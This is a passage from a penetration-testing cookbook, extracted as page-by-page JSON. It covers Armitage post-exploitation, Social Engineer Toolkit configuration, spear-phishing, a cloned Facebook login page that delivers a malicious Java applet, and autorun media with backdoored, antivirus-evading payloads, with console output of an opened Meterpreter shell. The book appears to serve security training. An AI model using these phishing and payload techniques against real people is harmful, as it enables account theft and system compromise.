"text": "Chapter 9\n221\nThis is yet another important feature of Armitage that eases the process of penetration \ntesting. This can be very beneficial when we are dealing with several targets in a network. \nPost-exploitation with Armitage\nIn the previous recipe, we saw how Armitage can be useful in handling multiple targets. \nOnce the targets are exploited, our next step will be to perform various post-exploitation \nactivities. Let us see how Armitage can be handy in the post exploitation phase as well.\nGetting ready\nWe will analyze our exploited Windows XP target and see how we can perform several \npost-exploitation activities on it.\n"
},
{
"page_number": 237,
"text": "Working with Armitage\n222\nHow to do it...\nOnce a target has been exploited, we can follow several meterpreter options by right-clicking \non its image. There are some commonly used post-exploitation actions available to us such as \naccess, interact, and pivot. We can perform several actions by just making a few clicks. Let us \nperform the first and most essential phase of post exploitation—privilege escalation. We can \nfind this option by right-clicking on the target image and navigating to Meterpreter | Access \n| Escalate privileges. Another interesting post-exploitation activity is screenshot which can \nbe browsed through Meterpreter | Explore | Screenshot. A screenshot of the target desktop \nwill be displayed in a new tab which can be refreshed whenever you wish. The following \nscreenshot demonstrates this: \n"
},
{
"page_number": 238,
"text": "Chapter 9\n223\nHow it works...\nYou can see that the screenshot has been displayed in a new tab which has two buttons at \nthe bottom. The Refresh button will display a fresh screenshot, whereas the Watch button will \nrefresh the screenshot after every 10 seconds.\nSimilarly, you can try out lots of \"click-to-server\" post-exploitation options available in Armitage \nto speed up the process of penetration testing.\nThis was a small demonstration of using Armitage as a potential extension for Metasploit in \norder to speed up the process of exploitation. The real power of Armitage can be understood \nonly when we have full command over Metasploit. A combination of a powerful command line \nwith the GUI makes Armitage a perfect tool for penetration testing.\nClient-side exploitation with Armitage\nClient-side exploitation can be a helpful technique for penetration testing if we are unable to \nfind a vulnerable operating system. As discussed earlier in Chapter 4, Client-side Exploitation \nand Antivirus Bypass, the client-side exploitation technique utilizes a vulnerability in an \napplication installed on the target system such as Internet Explorer and Adobe Reader. \nIn this recipe we will perform a Java-based client-side exploitation using Armitage on \nWindows 7.\nGetting ready\nWe can start our penetration testing by launching a simple Nmap scan to figure out the IP \naddress and other information about our target.\nHow to do it...\nTo perform a client-side exploitation, follow these steps:\n1.\t On the left pane of Armitage, go to Exploit | Windows | Browser | \njava_docbase_bof.\n"
},
{
"page_number": 239,
"text": "Working with Armitage\n224\nYou will be presented with several parameter options, as shown in the \nfollowing screenshot:\n2.\t The exploit module asks for SRVHOST and the URI host where we will have to provide \nthe IP address of the target machine and the request URI. All the other parameters \nalready have default values.\n3.\t Once the parameter values have been passed, click on the Launch button to begin \nthe process of exploitation.\n"
},
{
"page_number": 240,
"text": "Chapter 9\n225\nHow it works...\nOnce the Launch button is clicked, the exploitation activity is reflected in the Console window. \nArmitage will generate a URI location that has to be executed by the target user in his/her \nbrowser in order to launch the attack. Armitage automatically starts a back listener which \nwaits for a connection back from the target machine if the exploit succeeds. We can use \ndifferent social engineering techniques to transfer our malicious URL to the target user.\nOnce the attack is successful, we will notice the lightning bolts around our target image \nin Armitage GUI. By right-clicking on the target, we can find different post-exploitation \noptions such as setting up a meterpreter session and login. The following screenshot \ndepicts this scenario:\nThe response of different processes such as setting a meterpreter session can be monitored \nin the Console window as well. We can notice the same set of commands being executed in \nthe console that we covered in previous chapters. Armitage only automates the entire process \nby providing a GUI-based interaction medium. \n"
},
{
"page_number": 241,
"text": ""
},
{
"page_number": 242,
"text": "10\nSocial Engineer \nToolkit\nIn this chapter, we will cover:\nf\nf\nGetting started with Social Engineer Toolkit (SET)\nf\nf\nWorking with the SET config file\nf\nf\nSpear-phishing attack vector\nf\nf\nWebsite attack vectors\nf\nf\nMulti-attack web method\nf\nf\nInfectious media generator\nIntroduction\nSocial engineering is an act of manipulating people to perform actions that they don't intend \nto do. A cyber-based socially engineered scenario is designed to trap a user into performing \nactivities that can lead to the theft of confidential information or some malicious activity. The \nreason for the rapid growth of social engineering amongst hackers is that it is difficult to break \nthe security of a platform, but it is far easier to trick the user of that platform into performing \nunintentional malicious activity. For example, it is difficult to break the security of Gmail in order \nto steal someone's password, but it is easy to create a social engineered scenario where the \nvictim can be tricked to reveal his/her login information by sending a fake login/phishing page.\n"
},
{
"page_number": 243,
"text": "Social Engineer Toolkit\n228\nThe Social Engineer Toolkit is designed to perform such tricking activities. Just like we have \nexploits and vulnerabilities for existing software and operating systems, SET is a generic \nexploit of humans in order to break their own conscious security. It is an official toolkit \navailable at www.social-engineer.org and it comes as a default installation with \nBackTrack 5. In this chapter, we will analyze the aspect of this tool and how it adds more \npower to the Metasploit framework. We will mainly focus on creating attack vectors and \nmanaging the configuration file which is considered as the heart of SET. So let us dive \ndeeper into the world of social engineering.\nGetting started with Social Engineer Toolkit \n(SET)\nLet us start our introductory recipe about SET where we will be discussing SET \non different platforms.\nGetting ready\nSET can be downloaded for different platforms from its official site, www.social-engineer.\ncom. It has both the GUI version, which runs through browser and the command-line version, \nwhich can be executed from the terminal. It comes pre-installed in BackTrack which will be our \nplatform for discussion in this chapter.\nHow to do it...\nTo launch SET on BackTrack, start the terminal window and pass the following path:\nroot@bt:~# cd /pentest/exploits/set\nroot@bt:/pentest/exploits/set# ./set\nCopyright 2012, The Social-Engineer Toolkit (SET)\nAll rights reserved.\nSelect from the menu:\n 1) Social-Engineering Attacks\n 2) Fast-Track Penetration Testing\n 3) Third Party Modules\n"
},
{
"page_number": 244,
"text": "Chapter 10\n229\n 4) Update the Metasploit Framework\n 5) Update the Social-Engineer Toolkit\n 6) Help, Credits, and About\n 99) Exit the Social-Engineer Toolkit\nIf you are using SET for the first time, you can update the toolkit to get the latest modules and \nfix known bugs. To start the updating process, we will pass the svn update command. Once \nthe toolkit is updated, it is ready for use.\nThe GUI version of SET can be accessed by navigating to Applications | Backtrack | \nExploitation tools | Social Engineering Toolkit | set-web.\nHow it works...\nSocial Engineering Toolkit is a Python-based automation tool that creates a menu-driven \napplication for us. Faster execution and the versatility of Python makes it the preferred \nlanguage for developing modular tools like SET. It also makes it easy to integrate the toolkit \nwith web servers. Any open source HTTP server can be used to access the browser version \nof SET. Apache is considered as the preferable server while working with SET.\nWorking with the SET config file\nIn this recipe, we will take a close look at the SET config file which contains default values \nfor different parameters that are used by the toolkit. The default configuration works fine \nwith most of the attacks, but there can be situations when you have to modify the settings \naccording to the scenario and requirements. So let us see what configuration settings are \navailable in the config file.\nGetting ready\nTo launch the config file, move to config and open the set_config file.\nroot@bt:/pentest/exploits/set# nano config/set_config\n"
},
{
"page_number": 245,
"text": "Social Engineer Toolkit\n230\nThe configuration file will be launched with some introductory statements, as shown in the \nfollowing screenshot:\nHow to do it...\nLet us see what configuration settings are available for us.\n# DEFINE THE PATH TO METASPLOIT HERE, FOR EXAMPLE /pentest/exploits/\nframework3\nMETASPLOIT_PATH=/pentest/exploits/framework3\nThe first configuration setting is related to the Metasploit installation directory. \nMetasploit is required by SET for proper functioning as it picks up payloads and \nexploits from the framework.\n# SPECIFY WHAT INTERFACE YOU WANT ETTERCAP TO LISTEN ON, IF NOTHING WILL \nDEFAULT\n# EXAMPLE: ETTERCAP_INTERFACE=wlan0\nETTERCAP_INTERFACE=eth0\n#\n# ETTERCAP HOME DIRECTORY (NEEDED FOR DNS_SPOOF)\nETTERCAP_PATH=/usr/share/ettercap\nEttercap is a multipurpose sniffer for switched LAN. Ettercap section \n"
},
{
"page_number": 246,
"text": "Chapter 10\n231\ncan be used to perform LAN attacks like DNS poisoning, spoofing etc. The \nabove SET setting can be used to either set ettercap ON of OFF depending \nupon the usability. # SENDMAIL ON OR OFF FOR SPOOFING EMAIL ADDRESSES\nSENDMAIL=OFF\nThe sendmail e-mail server is primarily used for e-mail spoofing. This attack will work \nonly if the target's e-mail server does not implement reverse lookup. By default, its value \nis set to OFF.\nThe following setting shows one of the most widely used attack vectors of SET. This \nconfiguration will allow you to sign a malicious Java applet with your name or with any fake \nname, and then it can be used to perform a browser-based Java applet infection attack.\n # CREATE SELF-SIGNED JAVA APPLETS AND SPOOF PUBLISHER NOTE THIS REQUIRES \nYOU TO\n# INSTALL ---> JAVA 6 JDK, BT4 OR UBUNTU USERS: apt-get install openjdk-\n6-jdk\n# IF THIS IS NOT INSTALLED IT WILL NOT WORK. CAN ALSO DO apt-get install \nsun-java6-jdk\nSELF_SIGNED_APPLET=OFF\nWe will discuss this attack vector in a detail in later recipe. This attack vector will also \nrequire JDK to be installed on your system. Let us set its value to ON as we will be discussing \nthis attack in detail:\nSELF_SIGNED_APPLET=ON\n# AUTODETECTION OF IP ADDRESS INTERFACE UTILIZING GOOGLE, SET THIS ON IF \nYOU WANT\n# SET TO AUTODETECT YOUR INTERFACE\nAUTO_DETECT=ON\nThe AUTO_DETECT flag is used by SET to auto-discover the network settings. It will enable SET \nto detect your IP address if you are using a NAT/Port forwarding and allows you to connect to \nthe external internet.\nThe following setting is used to set up the Apache web server to perform web-based attack \nvectors. It is always preferred to set it to ON for better attack performance:\n# USE APACHE INSTEAD OF STANDARD PYTHON WEB SERVERS, THIS WILL INCREASE \nSPEED OF\n# THE ATTACK VECTOR\nAPACHE_SERVER=OFF\n#\n# PATH TO THE APACHE WEBROOT\n"
},
{
"page_number": 247,
"text": "Social Engineer Toolkit\n232\nAPACHE_DIRECTORY=/var/www\nThe following setting is used to set up the SSL certificate while performing web attacks. \nSeveral bugs and issues have been reported for the WEBATTACK_SSL setting of SET. \nSo, it is recommended to keep this flag OFF:\n# TURN ON SSL CERTIFICATES FOR SET SECURE COMMUNICATIONS THROUGH \nWEB_ATTACK VECTOR\nWEBATTACK_SSL=OFF\nThe following setting can be used to build a self-signed certificate for web attacks but there \nwill be a warning message saying \"Untrusted certificate\". Hence, it is recommended to use \nthis option wisely to avoid alerting the target user:\n# PATH TO THE PEM FILE TO UTILIZE CERTIFICATES WITH THE WEB ATTACK VECTOR \n(REQUIRED)\n# YOU CAN CREATE YOUR OWN UTILIZING SET, JUST TURN ON SELF_SIGNED_CERT\n# IF YOUR USING THIS FLAG, ENSURE OPENSSL IS INSTALLED!\n#\nSELF_SIGNED_CERT=OFF\nThe following setting is used to enable or disable the Metasploit listener once the attack \nis executed:\n# DISABLES AUTOMATIC LISTENER - TURN THIS OFF IF YOU DON'T WANT A \nMETASPLOIT LISTENER IN THE BACKGROUND.\nAUTOMATIC_LISTENER=ON\nThe following configuration will allow you to use SET as a standalone toolkit without using \nMetasploit functionalities, but it is always recommended to use Metasploit along with SET \nin order to increase the penetration testing performance.\n# THIS WILL DISABLE THE FUNCTIONALITY IF METASPLOIT IS NOT INSTALLED AND \nYOU JUST WANT TO USE SETOOLKIT OR RATTE FOR PAYLOADS\n# OR THE OTHER ATTACK VECTORS.\nMETASPLOIT_MODE=ON\nThese are a few important configuration settings available for SET. Proper knowledge of the \nconfig file is essential to gain full control over the Social Engineer Toolkit.\n"
},
{
"page_number": 248,
"text": "Chapter 10\n233\nHow it works...\nThe SET config file is the heart of the toolkit as it contains the default values that SET will pick \nwhile performing various attack vectors. A misconfigured SET file can lead to errors during \nthe operation so it is essential to understand the details defined in the config file in order \nto get the best results. The How to do it section clearly reflects the ease with which we can \nunderstand and manage the config file.\nSpear-phishing attack vector\nA spear-phishing attack vector is an e-mail attack scenario that is used to send malicious \nmails to target/specific user(s). In order to spoof your own e-mail address you will require a \nsendmail server. Change the config setting to SENDMAIL=ON. If you do not have sendmail \ninstalled on your machine then it can be downloaded by entering the following command:\nroot@bt:~# apt-get install sendmail\nReading package lists... Done\nGetting ready\nBefore we move ahead with a phishing attack, it is imperative for us to know how the e-mail \nsystem works.\nRecipient e-mail servers, in order to mitigate these types of attacks, deploy gray-listing, \nSPF records validation, RBL verification, and content verification. These verification processes \nensure that a particular e-mail arrived from the same e-mail server as its domain. For example \nif a spoofed e-mail address, richyrich@gmail.com arrives from IP 202.145.34.23 it \nwill be marked as malicious as this IP address does not belong to Gmail. Hence, in order \nto bypass these, the attacker should ensure that the server IP is not present in the RBL/\nSURL list. As the spear-phishing attack relies heavily on user perception, the attacker should \nconduct a recon of the content that is being sent and should ensure that the content looks as \nlegitimate as possible.\nSpear-phishing attacks are of two types—web-based content and payload based content.\nIn previous chapters we have already seen how to create a payload but as most of the \ne-mail systems do not allow executables, we should consider using different types of payloads \nembedded into the HTML content of the e-mail; for example, Java applet, Flash, PDF or MS \nWord/Excel, to name a few.\n"
},
{
"page_number": 249,
"text": "Social Engineer Toolkit\n234\nHow to do it...\nThe spear-phishing module has three different attack vectors at our disposal. Let us analyze \neach of them.\n 1) Perform a Mass Email Attack\n 2) Create a FileFormat Payload\n 3) Create a Social-Engineering Template\n 99) Return to Main Menu\nPassing option 1 will start our mass-mailing attack. The attack vector starts with selecting \na payload. You can select any vulnerability from the list of available Metasploit exploit \nmodules. Then, we will be prompted to select a handler that can connect back to the attacker. \nThe options will include setting the vnc server or executing the payload and starting the \ncommand line, and so on.\nThe next few steps will be starting the sendmail server, setting a template for a malicious \nfile format, and selecting a single or mass-mail attack:\n"
},
{
"page_number": 250,
"text": "Chapter 10\n235\nFinally, you will be prompted to either choose a known mail service such as Gmail and Yahoo \nor use your own server:\n 1. Use a gmail Account for your email attack.\n 2. Use your own server or open relay\nset:phishing>1\nset:phishing> From address (ex: moo@example.com):bigmoney@gmail.com\nset:phishing> Flag this message/s as high priority? [yes|no]:y\nSetting up your own server cannot be very reliable as most of the mail services follow \na reverse lookup to make sure that the e-mail has generated from the same domain name \nas the address name.\nLet us analyze another attack vector of spear phishing. Creating a file format payload is \nanother attack vector in which we can generate a file format with a known vulnerability and \nsend it via e-mail to attack our target. It is preferred to use MS Word-based vulnerabilities \nas they are difficult to detect whether they are malicious or not, so they can be sent as an \nattachment via an e-mail:\nset:phishing> Setup a listener [yes|no]:y\n[-] ***\n[-] * WARNING: Database support has been disabled\n[-] ***\nAt last, we will be prompted whether we want to set up a listener or not. It will start the \nMetasploit listener and will wait for the user to open the malicious file and connect back \nto the attacking system.\nThe success of e-mail attacks depends on the e-mail client that we are targeting. So a proper \nanalysis of this attack vector is essential.\nHow it works...\nAs discussed earlier, the spear-phishing attack vector is a social engineering attack vector \nthat targets specific users. An e-mail is sent from the attacking machine to the target user(s). \nThe e-mail will contain a malicious attachment which will exploit a known vulnerability on the \ntarget machine and provide a shell connectivity to the attacker. SET automates the entire \nprocess. The major role that social engineering plays here is setting up a scenario that looks \ncompletely legitimate to the target, and fools the target into downloading the malicious file \nand executing it.\n"
},
{
"page_number": 251,
"text": "Social Engineer Toolkit\n236\nWebsite attack vectors\nThe SET \"web attack\" vector is a unique way of utilizing multiple web-based attacks in order \nto compromise the intended victim. It is by far the most popular attack vector of SET. It works \nsimilar to browser autopwn where several (or specific) attacks can be sent to the target \nbrowser. It has the following attack vectors:\n1. The Java Applet Attack Method\n2. The Metasploit Browser Exploit Method\n3. Credential Harvester Attack Method\n4. Tabnabbing Attack Method\n5. Man Left in the Middle Attack Method\n6. Web Jacking Attack Method \n7. Multi-Attack Web Method\n8. Return to the previous menu\nHere in this recipe we will discuss the most popular attack vector, the Java applet attack \nmethod. Let us see how this attack is performed using SET.\nGetting ready\nTo start with the Java applet attack method, we will have to select the first option. \nThen in the next step, we will be prompted to choose a webpage setup. We can either \nchoose custom templates or clone a complete URL. Let us see how cloning will help \nus in performing the attack.\nHow to do it...\nThe target user will have to access the website that the pen-tester has decided to clone. \nHence, the pen-tester should understand that the cloned site shouldn't digress from the \nactual sites functionality, vis-à-vis the phishing site.\n1.\t To start with the cloning option, we will have to decide on a URL we want to clone. \nLet us clone the Facebook login page and proceed further:\n1. Web Templates\n2. Site Cloner \n3. Custom Import \n4. Return to the main menu\nEnter number (1-4): 2\n"
},
{
"page_number": 252,
"text": "Chapter 10\n237\nSET supports both HTTP and HTTPS\nExample: http://www.thisisafakesite.com\nEnter the url to clone: http://www.facebook.com\n[*] Cloning the website: https://login.facebook.com/login.php\n[*] This could take a little bit...\n2.\t Once we are done with the cloning part, we will be prompted to choose a payload \nalong with a backdoor that can be dropped onto the target machine.\n3.\t Once we're done with these steps, the SET web server will start along with msf. Msf \nwill manage the handler that will receive the back connection once the payload is \ndropped into the target machine.\n4.\t You can find your cloned template along with jar at /pentest/exploits/set/\nsrc/web_clone/site/template. Now once the target user visits the cloned \nwebsite (hosted on a fake domain), an applet message will pop up that will appear \nas a completely safe alert message:\nNow once the target user clicks on Allow, the malicious applet gets executed and it allows \nthe execution of the payload. The Metasploit listener will receive a connection back from the \ntarget machine and, thus, we will have an active session:\n[*] Sending stage (748544 bytes) to 192.168.56.103\n[*] Meterpreter session 1 opened (192.168.56.103:443 -> \n Thu Sep 09 10:06:57 -0400 2010\nmsf exploit(handler) > sessions -i 1\n[*] Starting interaction with 1...\nmeterpreter > shell\n"
},
{
"page_number": 253,
"text": "Social Engineer Toolkit\n238\nProcess 2988 created.\nChannel 1 created.\nMicrosoft Windows XP [Version 6.1]\n(C) Copyright 1985-2001 Microsoft Corp.\nC:\\Documents and Settings\\Administrator\\Desktop>\nSimilarly, we can perform other attacks as well. You can see how easily SET creates attack \nvectors for us and provides us with complete control over our scenario. The best thing about \nSET is that it can give you the full opportunity to implement your own modifications and \nchanges whenever you want.\nHow it works...\nThe Java applet infection is a popular Java applet vulnerability that allows the execution of \napplet outside the protected sandbox environment. Unsigned, or unsafe applets, are executed \nin a sandboxed environment with limited access to system resources. Once the malicious applet \nis allowed to execute after the warning message, it gains the privilege of full resource access on \nthe target machine as now it is outside the sandboxed environment. This allows the applet to \nexecute a Java vulnerability and allow remote code execution. Similarly other web-based attack \nvectors use a browser to transfer attacks to the target system. Social engineering again lies \nin the art of crafting a scenario which fools the user. The attacker can create a malicious link \nhidden under a href tag or the applet can be signed using fake signatures in order to make it \nlook completely legitimate. SET templates are a good source of designing attacks.\nMulti-attack web method\nThe multi-attack web method further takes web attack to the next level by combining several \nattacks into one. This attack method allows us to club several exploits and vulnerabilities \nunder a single format. Once the file or URL is opened by the target user, then each attack \nis thrown one by one unless a successful attack is reported. SET automates the process of \nclubbing different attacks under a single web attack scenario. Let us move ahead and see \nhow this is done.\nHow to do it...\nThe multi-attack web method starts similar to other web-based attacks. We start with \nselecting a template which can either be imported or can be cloned. The difference lies \nin the next step where we can select various exploits that can be added into the web attack.\n"
},
{
"page_number": 254,
"text": "Chapter 10\n239\nSelect which attacks you want to use:\n1. The Java Applet Attack Method (OFF)\n2. The Metasploit Browser Exploit Method (OFF)\n3. Credential Harvester Attack Method (OFF)\n4. Tabnabbing Attack Method (OFF)\n5. Man Left in the Middle Attack Method (OFF)\n6. Web Jacking Attack Method (OFF)\n7. Use them all - A.K.A. 'Tactical Nuke'\n8. I'm finished and want proceed with the attack.\n9. Return to main menu.\nEnter your choice one at a time (hit 8 when finished selecting):\nWe can select different attacks and, once we are done, we can pass 8 and finally combine \nthe selected attacks under a single vector. Finally, we will be prompted to select a payload \nand backdoor encoder.\nHow it works...\nOnce different attacks have been selected, SET clubs them with a payload and builds a single \nmalicious link that needs to be social engineered now. We will have to build a template that \nlooks completely legitimate to the target user and force him to visit the malicious link. Once \nthe link is clicked by the victim, different attacks are tried one by one unless a successful \nattack is launched. Once a vulnerability is found and exploited, the payload provides a back \nconnectivity to the Metasploit listener.\nInfectious media generator\nThe infectious media generator is a relatively simple attack vector. SET will create a \nMetasploit-based payload, set up a listener for you, and generate a folder that needs to be \nburned or written to a DVD/USB drive. Once inserted, if auto-run is enabled, the code will \nautomatically execute and take control of the machine.\nHow to do it...\nThis attack vector is based on a simple principle of generating a malicious executable, \nand then encoding it with available encoders so as to bypass antivirus protection.\n"
},
{
"page_number": 255,
"text": "Social Engineer Toolkit\n240\nName: Description:\n1. Windows Shell Reverse_TCP Spawn a command shell on \nvictim and send back to attacker.\n2. Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on \nvictim and send back to attacker.\n3. Windows Reverse_TCP VNC DLL Spawn a VNC server on victim \nand send back to attacker.\n4. Windows Bind Shell Execute payload and create an \naccepting port on remote system.\n5. Windows Bind Shell X64 Windows x64 Command Shell, \nBind TCP Inline\n6. Windows Shell Reverse_TCP X64 Windows X64 Command Shell, \nReverse TCP Inline\n7. Windows Meterpreter Reverse_TCP X64 Connect back to the attacker \n(Windows x64), Meterpreter\n8. Windows Meterpreter Egress Buster Spawn a meterpreter shell and \nfind a port home via multiple ports\n9. Import your own executable Specify a path for your own \nexecutable\nEnter choice (hit enter for default):\nBelow is a list of encodings to try and bypass AV.\nSelect one of the below, 'backdoored executable' is typically the best.\n1. avoid_utf8_tolower (Normal)\n2. shikata_ga_nai (Very Good)\n3. alpha_mixed (Normal)\n4. alpha_upper (Normal)\n5. call4_dword_xor (Normal)\n6. countdown (Normal)\n7. fnstenv_mov (Normal)\n8. jmp_call_additive (Normal)\n9. nonalpha (Normal)\n10. nonupper (Normal)\n11. unicode_mixed (Normal)\n"
},
{
"page_number": 256,
"text": "Chapter 10\n241\n12. unicode_upper (Normal)\n13. alpha2 (Normal)\n14. No Encoding (None)\n15. Multi-Encoder (Excellent)\n16. Backdoored Executable (BEST)\nEnter your choice (enter for default):\n[-] Enter the PORT of the listener (enter for default):\n[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few \nseconds...\n[-] Backdoor completed successfully. Payload is now hidden within a legit \nexecutable.\n[*] Your attack has been created in the SET home directory folder \n\"autorun\"\n[*] Copy the contents of the folder to a CD/DVD/USB to autorun.\n[*] The payload can be found in the SET home directory.\n[*] Do you want to start the listener now? yes or no: yes\n[*] Please wait while the Metasploit listener is loaded...\nHow it works...\nAfter generating the encoded malicious file, the Metasploit listener starts waiting for back \nconnections. The only limitation with this attack is that the removable media must have \nauto-run enabled, otherwise it will require a manual trigger.\nThis type of attack vector can be helpful in situations where the target user is behind a firewall. \nMost of the antivirus programes, now a days, disable auto-run, which in turn renders this type \nof attack useless. The pen-tester, along with auto-run based attacks should also ensure that a \nbackdoor legitimate executable/PDF is provided along with the media. This would ensure that \nthe victim would invariably execute one of the payload.\n"
},
{
"page_number": 257,
"text": ""
},
{
"page_number": 258,
"text": "Index\nSymbols\n-A parameter 145\n-b parameter 197\n-c parameter 101\n-D operator 39\n-f parameter 125\n-i operator 145\n-l 131\n-oX parameter 24\n-p 131, 145\n-r 145\n-S operator 145\n-sS parameter 36\n-U operator 145\n.NET 2.0 mscorie.dll module 87\nA\nACK scan [-sA] 36\nadd branch option 51\nadd note option 51\nAddress Space Layout Randomization. See \nWindows ASLR\nAdobe Reader\nutil.printf() buffer overflow 91-94\nantiparser fuzzing framework\nabout 209\ndownloading 209\nantivirus programs\ndisabling, killav.rbscript used 104-107\nantivirus services\nkilling, from command line 111, 112\nArmitage\nabout 211\nclient-side exploitation 223-225\npost-exploitation 221-223\nsetting up, in BackTrack 212, 213\nsetting up, on Linux 214\nstarting with 212\nworking 213\nAttacks | Find Attacks | By port or by \nvulnerability 217\nAttacks option 217\nAurora memory corruption\nin Internet Explorer 85\nAUTO_DETECT flag 231\nauxiliary admin modules\nabout 173\nworking with 173-175\nauxiliary modules\nactivating 39, 40\nexploring, for scanning 40\nmodule, running 39, 41\nspecifications, setting 39, 40\ntarget service, scanning 42\nthreads, managing 41\nB\nBackTrack 5\nintegrating, with Metasploit 13, 14\nBASENAME parameter 74\nC\nchannel -l command 123\nclient-side antivirus protection\nbypassing, msfencode used 99-103\nclient-side attack vector 78\nclient-side exploitation\nArmitage 223-225\n"
},
{
"page_number": 259,
"text": "244\nconnect_login function 184\nConsole tab 216\nConsole window 225\ncreate_payload() function 165\ncrunch\n-b parameter 173\n-f parameter 173\n-o parameter 173\n-t parameter 173\ncharset parameter 173\nmax-len parameter 173\nmin-len parameter 173\nusing, for password generation 172, 173\nCSS recursive call memory corruption\n.NET CLR 2.0.50727 missing error 88\nin Internet Explorer 85, 86\nworking 87, 88\nCYCLIC option 204\nD\ndatabase\nsetting up, in Metasploit 21\nstored results, analyzing 24\nusing, for penetration testing results storage \n23\ndatabase setup, Metasploit\nabout 21\ncreated database, deleting 23\nerrors 22, 23\nsteps 21\nworking 22\ndb_connect command 22\ndb_import command 49\ndb_nmap command 24\nDCOM 60\nDecoy [-D] 39\ndelete command 131\nDenial Of Service. See DOS\ndig query 31\nDistributed Component Object Model. See \nDCOM\nDLL 76\nDllHijackAudit kit 76\nDOS 176\nDOS attack modules\nabout 175, 176\nworking 177, 178\nDradis framework\nfeatures 49\ninformation, sharing 49, 51\nworking 51, 52\nDynamic Link Library. See DLL\nE\nENDSIZE option 204\nenumdesktops command 132\nERROR option 204\never-exploitation technique 143\nexecute -h command 122\nexisting meterpreter script\nanalyzing 163-168\nexisting module\nabout 182\nanalyzing 182-184\nworking 184, 185\nExploit \nabout 8, 191\ncommands 55, 56\nconverting, to Metasploit module 197-199\nusage tips 54, 56\nexploit() function 193\nexploit mixins\nabout 194\nExploit::BruteTargets 194\nExploit::Capture 195\nExploit::Remote::DCERPC 194\nExploit::Remote::Ftp 194\nExploit::Remote::MSSQL 194\nExploit::Remote::SMB 194\nExploit::Remote::TCP 194\nExploit::Remote::UDP 194\nfileformat 195\nimap 195\njava 195\nshe 195\nsmtp 195\nworking 195\nexport option 52\nEXTRALINE option 204\n"
},
{
"page_number": 260,
"text": "245\nF\nfile attributes\nmodifying, timestomp used 126-128\nfilesystem commands, meterpreter\nabout 124, 125\nworking 126\nFUZZCMDS option 205\nfuzzers, Metasploit\nPacket checksum 206\nPacket header 206\nPacket size 206\nG\ngateway 129\ngetdesktop command\nabout 131, 132, 134\nworking 133-135\ngetsystem command 121\ngetuid command 106\nGoogle dorks technique 33, 34\nH\nhalf-open scanning 37\nhash\nhashdump, trying 141, 142\nonline password decryption 142\npassing 140, 141\nHello World, Metasploit\nabout 19, 20\nmsfconsole, launching 20\nmsf > help command 21\nmsf > ls command 20\nmsf > msfupdate command 21\nworking 20\nhelp command 23\nhref tag 238\nI\nImpersonation 120\nImport from file option 52\ninfectious media generator\nabout 239-241\nworking 241\ninformation\ngathering 214-217\nscanning 214-217\ninformation gathering\nabout 27\nactive information gathering 28\npassive method 28, 30, 31\npassive information gathering 28\nsocial engineering 28\ninitialize() function 186, 193, 200\nInternet Explorer\nAurora memory corruption 85\nCSS recursive call memory corruption 85, 86\nunsafe scripting misconfiguration vulnerability \n79, 80, 82, 84\nipconfig command 130\nK\nkeyscan_dump command 132, 135\nkeystroke sniffing 131, 132\nkillav.rbscript\nabout 108\nusing 108-110\nusing, for antivirus program disabling 104, \n105-107\nworking 107\nL\nLaunch button 225\nLinux (Ubuntu) machine\nexploiting 68-71\nrelevant exploit modules 72\nSamba chain_reply Memory Corruption 72\nSamba trans2open Overflow 72\nworking 72\nloadlibrary() function 76\nM\nMACE 126\nMetasploit\nabout 7, 115\nconfiguring, on Ubuntu 11\nconfiguring, on Windows 10\nCYCLIC option 204\n"
},
{
"page_number": 261,
"text": "246\ndatabase, setting up 21\nENDSIZE option 204\nERROR option 204\nEXTRALINE option 204\nframework basics 169\nFUZZCMDS option 205\nfuzzers, working 206\nfuzzing with 203-205\nHello World 19, 20\nintegrating, with BackTrack 5 13, 14\npenetration process, breaking down 78, 79\nsetting up, SSH connectivity used 17, 18\nSQL injection 175\nSRVHOST option 205\nSRVPORT option 205\nSTARTSIZE option 205\nSTEPSIZE option 205\nMetasploit configuration, on Ubuntu\nabout 11\nfull installer, using 11\ninstallation error 12\ninstallation process, working 12\nminimal installer, using 11\nMetasploit configuration, on Windows\nabout 10\ndatabase error, during installation 10\nPostgreSQL server configuration, error causes \n11\nworking 10\nMetasploit framework\nabout 8\narchitecture diagram 8, 9\nmodular architecture 8\nMetasploit module\nexploit, converting to 197-199\nworking 200, 201\nMetasploit setup, SSH connectivity used\non virtual machine 17, 18\nworking 19\nmeterpreter\nabout 116, 139\nAPI 151\nfeatures 116\nfilesystem commands 124, 125\nfunctioning 116\nirb command, using 152\nloading representation diagram 116\nmixins 153\nnetworking commands, using 128\npivoting 146-148\nport forwarding 148-151\nscript, functioning 151, 152\nsystem commands, analyzing 117\nmeterpreter API\nabout 151\nworking 154\nmeterpreter mixins\ncmd_exec(cmd) 153\neventlog_list() 153\nfile_local_write(file2wrt, data2wrt) 153\nis_admin?() 153\nis_uac_enabled?() 153\nregistry_createkey(key) 153\nregistry_deleteval(key,valname) 153\nregistry_delkey(key) 153\nregistry_enumkeys(key) 154\nregistry_enumvals(key) 154\nregistry_getvaldata(key,valname) 154\nservice_delete(name) 154\nservice_info(name) 154\nservice_list() 154\nservice_stop(name) 154\nmeterpreter script. See Windows Firewall \nDe-activator\nMicrosoft Word\nRTF stack buffer overflow 88-90\nRTF stack buffer overflow, working 90\nmigrate -f command 86\nmixins 194\nModified-Accessed-Created-Entry. See MACE\nModule 8\nmodule building\nabout 180\nstarting with 180\nworking 180, 181\nmodules\nauxiliary admin modules 173\nbuilding 180\nDOS attack modules 175\nexisting module, analyzing 182\n"
},
{
"page_number": 262,
